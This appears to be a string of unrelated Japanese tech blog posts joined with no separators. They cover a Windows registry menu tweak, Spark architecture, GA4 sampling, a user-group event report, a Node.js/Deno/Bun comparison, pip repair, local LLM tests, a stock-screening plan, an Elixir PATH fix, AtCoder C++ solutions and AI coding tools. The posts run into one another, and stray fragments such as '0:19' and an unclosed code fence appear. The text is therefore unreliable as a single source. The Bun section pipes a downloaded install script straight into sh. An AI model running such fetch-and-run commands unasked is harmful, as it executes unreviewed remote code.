①メモ帳アプリを開き、下記をコピー＆ペースト(sakura.exeまでのパスに注意)

    Windows Registry Editor Version 5.00
    
    [HKEY_CLASSES_ROOT\Directory\Background\shell\Sakuraで開く]
    @="Sakuraで開く(&E)"
    Icon="C:\\Program Files (x86)\\sakura\\sakura.exe"
    
    [HKEY_CLASSES_ROOT\Directory\Background\shell\Sakuraで開く\command]
    @="\"C:\\Program Files (x86)\\sakura\\sakura.exe\""


②保存する際の名前は何でも良いが、拡張子は .reg として
　ファイルの種類を「すべてのファイル」、文字コードを「SHIS(Shift-JIS)」または「ANSI」などに設定して保存。


③保存したファイルを実行。

ミスなどがあった場合はレジストリエディターを開いて確認。
Apache Sparkの裏側の仕組み

# この記事は

この記事は、Sparkを使用している、または知識はあるものの、内部で起きていることについてはよく理解していない方向けの解説です。

## これを理解するメリット

Sparkの内部構造や処理の仕組みを理解することで、以下のようなメリットがある。
データエンジニア、サイエンティストの人は必見である。

1. **パフォーマンスの最適化**
   - パーティション数の適切な設定やデータの分散方法を調整し、処理効率を向上できる
   - シャッフル操作のコストを理解し、不要なシャッフルを減らすことでジョブの高速化が可能

2. **リソース管理の改善**
   - Executorの数やメモリ割り当てを適切に設定するヒントになるあ
   - クラスタリソースの有効活用とコスト削減につながる

3. **デバッグとトラブルシューティングの容易化**
   - エラーが発生した際に、どのステージやタスクで問題が起きているかを特定しやすくなる
   - Sparkのログやウェブインターフェースの情報を正確に解釈できるようになる

4. **効率的なアプリケーション設計**
   - データの依存関係や処理フローを意識した効率的なSparkアプリケーションの設計が可能になる
   - 適切なAPIやコンポーネントの選択ができるようになる

5. **チューニングスキルの向上**
   - メモリ使用量、データのスキュー（偏り）、ジョブのボトルネックなどを適切に分析し対処できるようになる

# Apache Sparkとは

Apache Sparkはビッグデータ処理のためのオープンソースの分散処理フレームワークである。
下記のような特徴とコンポーネントから構成される。

## 特徴

* **高速処理**: インメモリ計算を活用し、従来のMapReduceと比較して最大100倍高速である。
* **汎用性**: バッチ処理、ストリーム処理、機械学習、グラフ処理など様々な処理をサポートしている。
* **使いやすさ**: Java, Scala, Python, Rなど複数の言語APIを提供している。
* **統合されたプラットフォーム**: 複数のライブラリが統合されており、一貫したインターフェースでデータ処理が可能である。

## 主要コンポーネント

* **Spark Core**: 基本的な機能、分散処理エンジン、RDD (Resilient Distributed Datasets) の実装
* **Spark SQL**: 構造化データ処理、SQLクエリ実行、DataFrame/Dataset API
* **Spark Streaming**: リアルタイムデータストリーム処理
* **MLlib**: 機械学習ライブラリ
* **GraphX**: グラフ処理用ライブラリ

## Apache Sparkの構成
ドライバー、エグゼキューター、ワーカーから構成されています。

| コンポーネント | 役割 |
|--------------|------|
| **Driver（ドライバー）** | - Notebook（UI）やジョブの「司令塔」<br>- Spark セッションを起動し、ジョブをステージ単位→タスク単位に分割 |
| **Executor／Worker（エグゼキューター）** | - ドライバーから送られたタスクを実際に実行<br>- データの読み込み・変換・書き出しを並列処理 |

## 並列処理の仕組み

**イメージ**: ドライバーを指揮者、Executor を演奏者（オーケストラの各セクション）、スロットを個々の楽器に例えるとわかりやすい。

1. **パーティション**
   - データを分割した最小単位
   - RDDの基本的な処理単位となる

2. **ジョブ → ステージ → タスク**
   - ドライバーが「ジョブ」を複数の「ステージ」に分け、
   - さらに各ステージを「タスク」に細分化
   - DAG (Directed Acyclic Graph) に基づいて処理の依存関係が管理される

3. **スロット（コア単位の作業単位）**
   - 各 Executor 上にコア数だけスロットがあり、
   - ドライバーは空いているスロットにタスクを振り分ける

4. **二重の並列化**
   - **ノード並列（Executor）**: 複数ノードで同時に実行
   - **コア並列（スロット）**: 各ノード内の複数コアで並列実行


# 最後に
私自身データサイエンティストとして普段Sparkを使っているのですが、分散処理スゲー、ハエーというレベルで使っており、チューニングの部分はデータエンジニアに都度質問していました。
今回の記事を踏まえて少し解像度を上げた質問をしていきたいと思ってます。
統計検定1級　2023　統計数理　問1　解説

![img20250416_13080859.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576811/13200a98-23c2-42ed-b7ae-b4563e274a61.jpeg)
![img20250416_13083680.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576811/b6e52c87-bac6-4d3e-aa11-8565addc86d7.jpeg)
![img20250416_13091245.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3576811/eb156a12-062f-4c2d-ac7a-4430896adc71.jpeg)
最近話題のAIエディタ「Windsurf」を試しました

最近、Cursorに似ているAIエディター「Windsurf」がかなり話題になっていて、しかも最新のGPTモデルを無料で使えるということで、私もさっそくダウンロードして試してみました。
使い心地はかなり良く、Cursorとほぼ遜色ない感じです。


## 簡単な活用例

試しに、自分で趣味として運営しているAI生成小説サイトのフロントエンドを少し改修してみました。

このサイトのホームページには「How it works」というセクションがあり、小説生成方法を簡単に説明しています。この部分にちょっとした改善を加えてみようと思い、Windsurfにコードを渡して、「この部分はサイトの使い方を説明するところで、自由に修正してください」とざっくり指示をしました。

修正前の状態⇩

![step4.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556459/d28aebbe-3d64-40cc-83b0-1d018981f3ba.gif)


するとWindsurfが自動的にコードを生成し、修正してくれました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556459/4316dc0c-509e-4fb0-b8c9-413a307f75c8.png)


実際に修正された結果は以下の通りで、期待通りの仕上がりになりました。動作も以前よりスムーズになり、見た目もかなり改善されたと感じています。

![step3.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556459/36355c03-cee8-4ca0-93ae-ae24e88f4693.gif)


## まとめ
このような簡単なフロントエンドの改修であれば、もちろんCursorでも問題なく対応できます。ただ、Cursorではちょっと難しいけどWindsurfなら可能、というようなタスクは今のところ特に思いつきませんでした。しばらく使ってみた限り、使い勝手は非常に良く、何よりも最近話題の有料モデルが無料で使える点を考えると、今のところかなりコスパが高いと思います。


興味ある方試してみてください：

https://windsurf.com/
Geminiでカードを使う魔法少女を描いてみた。

# 概要

Geminiでカードを使う魔法少女を描いてみました。

# 実装

プロンプトと実行結果は以下の通りです。

```
炎のカードを使う魔法少女を描いてみてください。
```

![炎のカードを使う魔法少女_20250420.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3192024/ba4d614c-aad8-447f-9d00-92cb55f8bd7f.png)


```
氷のカードを使う魔法少女を描いてみてください。
```

![氷のカードを使う魔法少女_20250420.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3192024/cca78426-c757-4bf4-93ed-a4219ac9f0e8.png)


```
電撃のカードを使う魔法少女を描いてみてください。
```

![電撃のカードを使う魔法少女_20250420.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3192024/7bbc7af4-04c2-41e2-bc6a-26dcf13152da.png)


# まとめ

炎の子は可愛いと思います。
何かの役に立てばと。
【 GA4】LookerStudio・探索レポート・Google Analytics Data APIの数値が合わない

# ▼背景
LookerStudioのグラフをスプレッドシートにて再現するために、GA4 APIにてスプレッドシートに値を書き出す作業を実施した。

しかし、まったく同じデータが書き出されるように設定を行ったのにも関わらずLookerStudioとGA4 API,探索レポートでの値に相違があり、**LookerStudio**のみ異なる値であった。
なぜ違いが出るのかを調査し、まとめる
同時にサンプリングが掛かりやすい状況などについてもまとめる

# ▼まとめ
結論としては、**LookerStudioでのみサンプリングが掛かっていた**から値が異なっていた。
LookerStudioではGUIにて設定した内容を裏側でAPIクエリに変換して送信を行う。その際にクエリが複雑化しやすいらしい。
そのため、**APIを直接叩いた際や探索レポートを使用した際よりもサンプリングが発生しやすい**

## GA4：Looker Studio・探索レポート・GA4 APIの違い

| 項目 | Looker Studio | 探索レポート | GA4 API |
|:---|:---|:---|:---|
| **データ取得方法** | GA4のData API経由 | GA4の管理画面内で直接クエリ実行 | GA4のData API経由 |
| **サンプリングの有無** | 起こりやすい（特に期間・ディメンション多い時） | 起こりにくい。有料版ならなくすことも可能。 | 起こりにくい（レスポンス内でサンプリング確認も可能） | | クエリパラメータで正確なフィルタ制御が可能 |
| **リアルタイム性** | やや遅延あり（キャッシュ影響） | ほぼリアルタイム | 実行時点での最新データ取得 |
| **サンプリング判別** | 不可 | 画面上で「サンプリング中」の表示あり | `samplesReadCounts` のレスポンス確認で判別可能 |

---

https://support.google.com/analytics/answer/13644080#zippy=%2Ctable-footnotes

## サンプリングが起こりやすい状況
簡単に言うと処理データ量が大きいとサンプリングが掛かる。
以下に処理データ量が大きくなる状況をまとめる

| サンプリングの発生要因 | 詳細説明 |
|:---|:---|
| **期間が長い** | 期間が長いとデータ量が多くなる|
| **フィルタをかける** | 特定の条件で絞り込む際、まず全体データを読み込むため負荷が高くなる |
| **複雑なセグメント・条件指定** | セッション単位のセグメントや、複数条件のフィルタを組み合わせると、システム負荷が上がる。 |
| **複数ディメンションの利用** | ディメンション・指標数が増えるとデータの行数が長くなる。 |

その他、リアルタイムデータ取得においてもサンプリングがかかかることがある。最新データ取得時は未確定データが多く、部分データのみ対象にしたサンプリング状態で返される

# ▼個人的に気になった・知らなかった点

## フィルターを掛けたらサンプリングが掛かりにくくなる?
実はフィルターを掛けたらサンプリングが掛かりやすくなる

直感的には、フィルターを掛けると対象となるデータが絞られるためサンプリングが掛かりにくくなるのではないかと考えるのが自然だ
しかし、フィルターを掛ける際には一行ずつデータを確認してフィルターに合致するかを確認するという処理が走るためデータの処理量を抑えるためにサンプリングが行われる。

サンプリングが掛かるかどうかは「処理データ量」を基準に考えると分かりやすそうだ

## LookerStudioではキャッシュ(メモリ)が使われている

設定した更新頻度間は以前に実行したクエリの結果をメモリに保存し、そのメモリのデータを活用している。
➡更新頻度を12時間にしていると、その12時間の間にデータが更新されてもLookerStudio上に表示されるデータの更新は12時間の間は行われない

仮説だが、12時間の間に使用したデータにサンプリングが掛かっていると、次に作成したグラフ自体のデータ量が少なくてもサンプリングが発生する可能性もありそうだ

https://cloud.google.com/looker/docs/studio/manage-data-freshness?hl=ja#how_data_freshness_works

## サンプリングの有無はLookerStudioでは見れない

GA4 APIを直接触る時、探索レポートでは確認することが出来る。

## 探索レポート・GA4 APIのデータ処理の裏側はどうなっている？

**BigQueryの生データを一次集計したデータを探索レポート、GA4 APIは活用している**

調べてもヒットしなかったので言い切れないが、ユーザごと・セッションごとなどに予めイベント数などを集計しているイメージだと私は理解している
セッションの中でのイベントの順番などを探索レポートでは考慮出来ないこともこれで理解できる。
春のプロジェクト管理入門！ゲームで楽しく学ぼう JBUGおおいた#3【イベントレポート】

## はじめに

2025/4/19(土)、[株式会社オーイーシー未来の杜 Play Field](https://playfield.info/) にて、 JBUGおおいた #3 を開催しました

https://jbug.connpass.com/event/349075/

https://x.com/fm609hr/status/1913450886900383861

https://x.com/fujimoto_mako/status/1913457625469272284

Backlog World の振り返りセッション、プロジェクトテーマパーク、LT会で盛り上がりました！

https://x.com/fujimoto_mako/status/1913458410420682920

過去のイベントレポートはこちら

https://qiita.com/RyoWakabayashi/items/9a21fdf131cbd2e7f19e

https://qiita.com/RyoWakabayashi/items/1f473a039ce3e7e0ab4c

https://qiita.com/RyoWakabayashi/items/8b81b00b09c9eea67881

## Backlog World 2024 振り返り

昨年12月に横浜で開催された Backlog World 2024 について、JBUGおおいたの運営 3 名で振り返りました

https://jbuginfo.backlog.com/backlogworld2024/

平野さんが特に印象に残ったセッションはこちら

### 「頭のいい人が話す前に考えていること」 〜プロジェクトで「信頼」を生む技術〜

<iframe width="560" height="315" src="https://www.youtube.com/embed/aE4owo10OGI?si=NwGXTnrUtrXUpDKq" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

書籍も購入して、仕事だけでなく、人生で役に立っているとのこと

https://amzn.asia/d/4ob0kbu

私は日報だったり、ナレッジだったり、プロジェクト管理以外で使っている事例のセッションが特に印象に残りました

私の Backlog World 2024 イベントレポートはこちら

https://qiita.com/RyoWakabayashi/items/727e06366a44f54ddfb0

## プロジェクトテーマパーク

参加者全員に運営メンバーも混じってプロジェクトテーマパークをプレイしました

https://backlog.com/ja/blog/making-of-project-themepark/

私も平野さんも Backlog World 2024 で 1 セットずつ入手できたので、各自持参しました

https://x.com/fujimoto_mako/status/1913452910010339453

コミュニケーションをとりながら協力するゲームなので、初対面の人、普段関わらない人同士でもすぐに仲良くなれます

https://x.com/fujimoto_mako/status/1913470790529614028

https://x.com/fujimoto_mako/status/1913480827381367165

平野さんの入っていたチームは見事に完全勝利！

![完全勝利.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1485835/24d332d3-5903-42ef-a1eb-d3ab25bac7d8.png)

私のチームは逆にリスケもできずに完全敗北、、、

しかし、プロジェクトテーマパークは失敗できるのが良いところ！

![最強のスキル.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1485835/90ed6f10-2b85-4ad9-b488-956463ea5f13.jpeg)

プロジェクトテーマパークは社内研修でも好評だったので、また各所でプレイしたいです！

https://qiita.com/RyoWakabayashi/items/a837a31df3b19dba4c61

## LT会

平野さんは CLS 出島での Backlog 活用を紹介

https://x.com/fujimoto_mako/status/1913491245541777620

Backlog の使いこなしとして「お手本」ではありませんが、 Backlog に課題を登録していたことで、定例会でも「これについて話そう」と課題が話題の種になりましt

https://x.com/nakaji573/status/1913492145572553128

https://x.com/nakaji573/status/1913492712931684485

CLS 出島のイベントレポートはこちら

https://qiita.com/RyoWakabayashi/items/508b74de118496bdef22

ヨーナスさんは飛び込み LT で、 Backlog のフィードバックを収集

https://x.com/nakaji573/status/1913493138716455225

いくつも質問や要望が出て、この後の懇親会、二次会でもたくさんのフィードバックを得られたようでした

https://x.com/fujimoto_mako/status/1913494610036527168

## 懇親会

懇親会は今回も K.LAB.Deli さんのピンチョスをいただきました

とても美味しくてオシャレで好評でした

![k.lab.deli.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1485835/82081764-bb8b-49f3-8545-7e04e31da6a5.png)

https://k-lab-deli.jimdofree.com/

やはり、本編会場でそのまま懇親会をする流れは参加率が高くなって良いですね

## まとめ

今回も参加者間でたくさん交流できて、 Backlog の使い方、プロジェクト管理の仕方にも学びがありました

引き続き、「JBUGおおいた」のイベントを開催していきますので、よろしくお願いします

https://jbug.connpass.com/
npm(Node.js)、Bun、Denoの比較



### 基本的な特徴比較

| 機能 | Node.js | Deno | Bun |
| --- | --- | --- | --- |
| モジュールシステム | CommonJS, ESM | ESM, npmサポート | CommonJS, ESM |
| TypeScript/JSX | 外部ツール要 | 組み込み | 組み込み |
| セキュリティ | 手動設定 | デフォルトで厳格 | 手動設定 |
| パッケージ管理 | npm | URLベース/npm | npm |
| 開発ツール | 外部ツール要 | 組み込み | 組み込み |
| OSサポート | macOS/Linux/Win | macOS/Linux/Win | macOS/Linux |


### 技術的な実装の違い

```mermaid
flowchart TD
    classDef engine fill:#ff9999,stroke:#ff0000,color:#000
    classDef runtime fill:#99ff99,stroke:#00ff00,color:#000
    classDef lang fill:#9999ff,stroke:#0000ff,color:#000
    
    subgraph Node["Node.js"]
        N_Engine[V8]:::engine
        N_Lang[C++]:::lang
    end
    
    subgraph Deno["Deno"]
        D_Engine[V8]:::engine
        D_Lang[Rust]:::lang
    end
    
    subgraph Bun["Bun"]
        B_Engine[JavaScriptCore]:::engine
        B_Lang[Zig]:::lang
    end
    
    N_Engine --- N_Lang
    D_Engine --- D_Lang
    B_Engine --- B_Lang
```

このダイアグラムは各ランタイムの技術スタックを示しています：

- 赤色のボックスはJavaScriptエンジン（実行環境）
- 緑色のボックスはランタイム本体
- 青色のボックスは実装言語

特に、注目すべき点として、JavaScriptエンジンが異なります：

- Node.jsとDenoはChromeで使用されているV8を採用
- BunはSafariで使用されているJavaScriptCoreを採用し、より高速な実行を実現しています

### 各ランタイムの具体的な操作方法

#### Node.js（npm）

```bash
# プロジェクト初期化
npm init -y

# パッケージインストール
npm install express

# スクリプト実行
node app.js
```

#### Deno

```bash
# TypeScriptファイルの実行
deno run --allow-net app.ts

# パーミッション付き実行
deno run --allow-read="./file.txt" --allow-write app.ts

# npmパッケージの使用
import express from "npm:express@4";
```

#### Bun

```bash
# インストール
curl https://bun.sh/install | sh

# プロジェクト初期化
bun init

# パッケージインストール
bun add react react-dom

# 開発サーバー起動
bun dev
```

### 開発ツールの比較

| 機能 | Node.js | Deno | Bun |
| --- | --- | --- | --- |
| フォーマッター | 外部ツール要 | `deno fmt` | 組み込み |
| リント | 外部ツール要 | `deno lint` | 組み込み |
| テスト | Jest等 | `deno test` | 組み込み |
| ビルド | Webpack等 | 組み込み | 組み込み |

### セキュリティ機能

Denoは特にセキュリティに重点を置いています：

```bash
# ファイル読み込み許可
deno run --allow-read app.ts

# ネットワークアクセス許可
deno run --allow-net app.ts

# 環境変数アクセス許可
deno run --allow-env app.ts
```

### パフォーマンス比較

Bunは高速な実行を特徴としています：

- JavaScriptCoreを使用した最適化された実行環境
- npmパッケージの高速インストール
- ビルドツールの組み込みによる高速な開発サイクル 0:19

### 特徴

- Node.js（npm）：安定したエコシステムと広範な互換性
- Deno：セキュリティ重視とモダンな機能
- Bun：高速な実行とオールインワンのツールキット
ensurepip を使って pip を再インストール

Python の仮想環境で次のエラーが出た時の解決方法

```
$ pip --version
Traceback (most recent call last):
  File "/home/uchida/myenv/bin/pip", line 5, in <module>
    from pip._internal.cli.main import main
ModuleNotFoundError: No module named 'pip'
```

## ensurepip を使って pip を再インストール

```bash
python -m ensurepip --upgrade
```

確認

````text
$ pip --version
pip 25.0 from /home/uchida/myenv/lib/python3.13/site-packages/pip (python 3.13)
```
MacBook Air 32GBでローカルLLMによるコード生成を評価してみた

## はじめに
最近話題のローカルLLM。オンラインでコード生成するのではなく、自分のマシンだけでAIにコードを書かせる試みに挑戦してみました。今回使ったのは、MacBook Air（M4・32GBメモリ）とroo codeです。「無料でローカルLLMを使ってプログラミングできたら最高！」というモチベーションで、さまざまなモデルを試してみました。
※ Qwen3-30B-a3Bが最強でした
[MacBook Air 32GBでローカルLLMによるコード生成を評価してみた(2025/04 最終稿:Qwen3-30B-A3Bのlmxが最強)](https://qiita.com/notfolder/items/e6944da9a05e662e582c)

## 結論：ローカルLLMでコード生成するには？

- **14Bクラスのモデルが必要** → メモリ32GBでは厳しい
- **8bit量子化が最適解** → モデルサイズと性能のバランスが取れる
- **M4で動かすならlmx化が必要＆lmxで動かすならLM Studio一択**
- **コード系モデルより、汎用LLMの方がうまく動く**

### よく動いたモデルの例：

- **phi4-8b（8bit量子化）**：バランスが良く、応答も素直
- **deepseek-r1-distill-qwen-14b（8bit量子化）**：やや回り道するが実行可能
- **Qwen2.5-Coder-14B-Instruct-8bit**：重いが安定
- **meta-llama-3.1-8b-instruct**：非常に軽快。応答も良好だがコードの質はやや劣る

## 評価方法
以下のタスクで、ローカルLLMのコード生成能力を評価しました。

1. 現在開いているファイルに、Pythonのmain関数を追加してHello Worldを出力する
2. scikit-learnのIrisデータを分類する関数を作成し、main関数から呼び出す
3. 同一タスクを複数モデルで評価

プロンプトの指示を徐々に曖昧にしても、うまく対応できるかを確認。ループしたり意味不明なコードを出さないかがポイントです。

## モデル別の所感

### よく動いたモデル

- **phi4-8b（8bit量子化）**：それなりに重いが、安定して動く
- **deepseek-r1-distill-qwen-14b（8bit量子化）**：phi4より遠回り気味だが、動く
- **mlx-community/Qwen2.5-Coder-14B-Instruct-8bit**：問題なく動くがphi4ほどではない
- **mlx-community/meta-llama-3.1-8b-instruct**：軽くて速い！ただしコードの質は微妙

### 動作が厳しいモデル

- **phi4-mini系**（通常/8bit量子化）：ループしやすい
- **codegemma系**や**gemma-3-12b-it-8bit**：コンテキスト長不足
- **CodeLlama系 13b**や**IBM Granite 20b**：8bitでもサイズが大きすぎて読み込めず
- **mistral-nemo-instruct-2407\@8bit/4bit**：コンテキストが大きく取れるが、ループや実装不能が発生

## roo codeの注意点

- 実験的なコンテンツ挿入機能では、JSON形式が正しく出力されず動作しないことがある

## プロンプトに追加したロール指定（試行錯誤中）

```text
If you do modify code, keep it minimal and simple and short.
I will give you the tasks in Japanese, but when you think about the code, you can think in English.
In the code you output, please add lots of comments so that your intentions can be understood in Japanese.
```

→ ローカルLLMには複雑すぎてうまく機能しない印象でした

## lmxモデルの作り方
MacでローカルLLMを動かすには、mlx形式のモデルを準備する必要があります。基本的には`pip`で最新版のPyTorchをインストールしましょう（condaだと古い）。

モデルの変換と8bit量子化には以下のコマンドを使用します：

```bash
python -m mlx_lm.convert --hf-path microsoft/phi-4 \
  --mlx-path ~/.lmstudio/models/phi4/phi4-8b -q --q-bits 8

python -m mlx_lm.convert --hf-path deepseek-ai/DeepSeek-R1-Distill-Qwen-14B \
  --mlx-path ~/.lmstudio/models/DeepSeek-R1/DeepSeek-R1-Distill-Qwen-14B -q --q-bits 8
```

※.cacheに大量の一時ファイルが生成されるので、適宜削除してください。

## まとめ
MacBook Air 32GBでローカルLLMを使うには、

- 8bit量子化された14Bクラスのモデルを使う
- mlx化をする
- 汎用LLMをベースに
- 軽量モデルはループや精度不足の傾向あり

ローカルLLMは夢があるけど、ハードルもまだ高い。でも工夫すれば、ある程度までは使えるようになる…そんな実感を得られた実験でした！

## この記事の作成過程
評価作業メモをchatgptでqiita記事にした際のログ。
作業メモをメモ帳で作って、chatgptに修正してもらった。ほぼそのまま記事にしちゃった。
https://chatgpt.com/share/680452bf-20fc-8009-967e-9063231d1627
D進したいが金がない。そうだ株価を予測しよう。

# 化学メーカーで研究ごっこしてる僕が、株とAIで博士進学を目指す話

化学メーカーで「研究ごっこ」をしていますが、本当は博士課程に進学して、本物の研究がしたいと思っています。  
進学資金・在学中の生活費など、金銭的な問題がネックで、現在は働きながら資金を貯めているところです。

でも、仮に貯金ができたとしても、在学中の生活費はどうするの？  
学振に採用されれば理想的だけど、競争はかなり激しい。これは本当に悩ましい問題です。

---

## 元々は有機合成をやっていた

農薬の原体候補になる化合物を合成していたことがあります。  
そのとき、薬が標的タンパク質とどう相互作用するのかを調べたくて、分子ドッキングやMDシミュレーションに取り組みました。  
この時に、Pythonも少しだけ勉強しました。
[![参考動画](https://img.youtube.com/vi/MlsicXBKHKA/0.jpg)](https://www.youtube.com/watch?v=MlsicXBKHKA)
↑youtubeのリンクです。結構良いデータなんでよければ見てください。
当時は生成AIなんてなかったので、エラーが出るとそれだけで丸一日潰れることも…。  
でも、今はめちゃくちゃ頭のいいAIさんがいます。時代は変わった。

---

## 昼は会社員、夜は株とコード

昼間は会社で働いているので、副収入を得る手段といえば、**投資くらい**しかありません。  
PythonはWebスクレイピングやデータ分析、機械学習などにも使えるし、  
**「AIに相談しながらコードを組めば、もしかしたら…？」**  
と淡い期待を抱いてしまいました。

---

## 現在構築中の株式選抜モデル

3段階でふるいにかけて、**上がりそうな銘柄を5〜10個選抜**するモデルを作っています。

### 一次選抜：財務スクリーニング
- 東証プライム上場の2000銘柄から
- 財務指標（ROE・売上成長率・営業利益率など）で約200銘柄に絞る

### 二次選抜：テクニカル指標による分析
- 20種類前後のテクニカル指標を使ってスコア化
- 地合いやトレンドを加味してさらに絞り込み

### 三次選抜：機械学習で未来予測
- Transformerベースのモデルで**2週間後の株価リターン**を予測
- 上位銘柄だけを最終選抜 → 実際に発注

### イメージ
- なんかそれらしいグラフ
![c2f976fc-e75a-4736-b000-b4e75ee700f9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4066570/ed355fbb-c7cd-425e-a7bb-58ada0d2eac4.png)

- 本当にこんなにリターン出るの？
![Screen Shot 2025-04-13 at 18.13.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4066570/b4b6738f-4325-4199-aabf-38b01a055de2.png)

- やらかしちゃったぜ
![Screen Shot 2025-04-20 at 9.12.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4066570/d4e58264-0341-4727-a938-ac0cd2192786.png)


---

## 夢の実現と、そのための現実的な一歩

研究とお金、そして人生の分岐点。  
この取り組みが、博士進学への道を切り開く第一歩になることを願って、  
**地味に、でも確実に**前に進んでいます。

同じように、研究・進学・お金のことで悩んでいる人や、  
株やPythonを使って何かを始めたいと思っている人にとって、  
この試行錯誤の記録が、**何かのヒントや勇気**になれば嬉しいです。

---

1次選抜：記事書きました（2025年4月21日）。

:::note
[【銘柄選抜】財務指標（ROE・PER・営業利益率）による1次スクリーニング]
(https://qiita.com/rS_alonewolf/items/ba9dbbf7d6163f4435a5)
:::

2次選抜；記事書きました (2025年4月28日)。

:::note
[【銘柄選抜】テクニカル指標による2次スクリーニング]
(https://qiita.com/rS_alonewolf/items/b53d2c61e81f263135da)
:::

地合いスコアについて書きました (2025年5月7日)。

:::note
[【銘柄選抜】相場の定量化ー地合いスコアの導入]
(https://qiita.com/rS_alonewolf/items/e0af595f634735a2b668)
:::


2次スクリーニングでどのくらいリターンが出そうか書きました（2025年5月16日)。

:::note
[【銘柄選抜】テクニカル指標による2次スクリーニング]
(https://qiita.com/rS_alonewolf/items/a8856f0cb28ae6a7da57)
:::
実行時にパスが通らない時の対処法

# はじめに
応急処置的なやり方です。
本来であれば体系的にもっとやり方があると思うので急ぎの時に間に合わせで行ってください。

# 環境
windows 11 home
wsl2
Ubuntu 22.04

# 状況
elixirをインストールした後ubuntuを閉じるとその内容が反映されず再度インストールをする必要があった。
bashの書き換えやbash_profileの書き換えを行ったがうまくいかなかった。

# 対応
~/.bash_profileに以下の書き込みを行った
```
if [ -f ~/.bashrc ];then
  installs_dir=$HOME/.elixir-install/installs
  export PATH=$installs_dir/otp/27.2.3/bin:$PATH
  export PATH=$installs_dir/elixir/1.18.3-otp-27/bin:$PATH
fi
~               
```
ifの中身はelixirのインストール後に機能させるために必要なコマンドです。
つまり立ち上げの度にインストールを行っている状態になっています。
これをsourceで読み込ませて必ず実行できるようにします。

# 終わりに
.bashに書き換えを行ってもうまくいかずかなり苦肉の策で行った修正になります。
問題の原因をもっと丁寧に解きほぐせれば解決したのかもしれませんができなかったため一旦これで完了とします。
環境構築って大変です。

# 参考資料

https://elixir-lang.org/install.html

https://www.rcnp.osaka-u.ac.jp/~yoshikaw/pc_config/env.html
【ABC402】AtCoder Beginner Contest 402【C++】

### コンテスト名
東京海上日動プログラミングコンテスト2025（AtCoder Beginner Contest 402）

### コンテストURL
https://atcoder.jp/contests/abc402

### 開催日
2025/04/19 21:00–22:40

---

## [A: CBC](https://atcoder.jp/contests/abc402/tasks/abc402_a)
**解法**
- `isupper()` で大文字を判定する
```cpp:ABC402A.cpp
#include <iostream>
#include <string>
using namespace std;

int main(){
    string s;
    cin >> s;

    for(int i=0; i<s.size(); i++){
        if(isupper(s[i])){
            cout << s[i];
        }
    }
    cout << endl;

    return 0;
}
```

## [B: Restaurant Queue](https://atcoder.jp/contests/abc402/tasks/abc402_b)
**解法**
- キューで問題文通りに操作する
```cpp:ABC402B.cpp
#include <iostream>
#include <queue>
using namespace std;

int main(){
    int q;
    cin >> q;

    queue<int> Q;
    int num, x;
    for(int i=0; i<q; i++){
        cin >> num;
        if(num==1){
            cin >> x;
            Q.push(x);
        }else if(num==2){
            cout << Q.front() << '\n';
            Q.pop();
        }
    }

    return 0;
}
```

## [C: Dislike Foods](https://atcoder.jp/contests/abc402/tasks/abc402_c)
**解法**
- 逆から考える
- `vector<vector<int>>` で食材別の料理を記録する
```cpp:ABC402C.cpp
#include <iostream>
#include <vector>
using namespace std;

int main(){
    int n, m;
    cin >> n >> m;

    vector<vector<int>> G(n);
    int k, a;
    for(int i=0; i<m; i++){
        cin >> k;
        for(int j=0; j<k; j++){
            cin >> a;
            a--;
            G[a].push_back(i);
        }
    }

    vector<int> B(n);
    for(int i=0; i<n; i++){
        cin >> B[i];
        B[i]--;
    }

    vector<int> V(m, 1);
    vector<int> ans(n, m);
    int cnt = 0;
    for(int i=n-1; i>0; i--){
        for(int j=0; j<G[B[i]].size(); j++){
            if(V[G[B[i]][j]]){
                V[G[B[i]][j]] = 0;
                cnt++;
            }
        }
        ans[i-1] -= cnt;
    }

    for(int i=0; i<n; i++){
        cout << ans[i] << '\n';
    }

    return 0;
}
```

## [D: Line Crossing](https://atcoder.jp/contests/abc402/tasks/abc402_d)
**解法**
- 余事象を考える
- 並行な直線の組が余事象である
- 並行な直線は、点の番号の和を $N$ で割った余りが等しい
```cpp:ABC402D.cpp
#include <iostream>
#include <vector>
using namespace std;

int main(){
    long long int n, m;
    cin >> n >> m;

    int a, b;
    long long int cnt = m*(m-1)/2;
    vector<int> V(n);
    for(int i=0; i<m; i++){
        cin >> a >> b;
        cnt -= V[(a+b)%n];
        V[(a+b)%n]++;
    }

    cout << cnt << endl;

    return 0;
}
```
IOSとAndroidのフルスタックエンジニアから見たAI比較

# はじめに
最近はChatGPT以外にもコードを書くことに特化したAIがでてきました。
そこでフルスタックでやっているモバイルエンジニア目線でAIを比較してみます。

ChatGPT
--- 
まずは、ド定番のChatGPTです。
コードの記述以外にも様々な調べ物や、画像出力など用途は多岐にわたるので様々なことをしたい人には向いてます。
しかしサブスクの観点では、Proだと無制限で使えるものの個人には少し値が張ります、Plusは個人でも手の出しやすい値段設定ですが、使用頻度が高い人でなければ無料版と比べた時の恩恵をあまり感じられないかと思います。

Devin
---
つぎにDevinです。
GitのRepositoryを登録することで勝手にPRまで作ってくれます。
さらにコードの精度は割といいです。
似たコードを書いたりする場合RepositoryやProject自体を認知してくれているので、「このファイルを参考にしつつこういった要件に変更して出力してください」という単純作業などを任せるのにすごく便利です。
ただし、高いです。とにかく高い、Repositoryなどを登録できるところを見ても企業向けなのかなと思います。
あとはネットのうわさではUI周りが多少弱いみたいです。
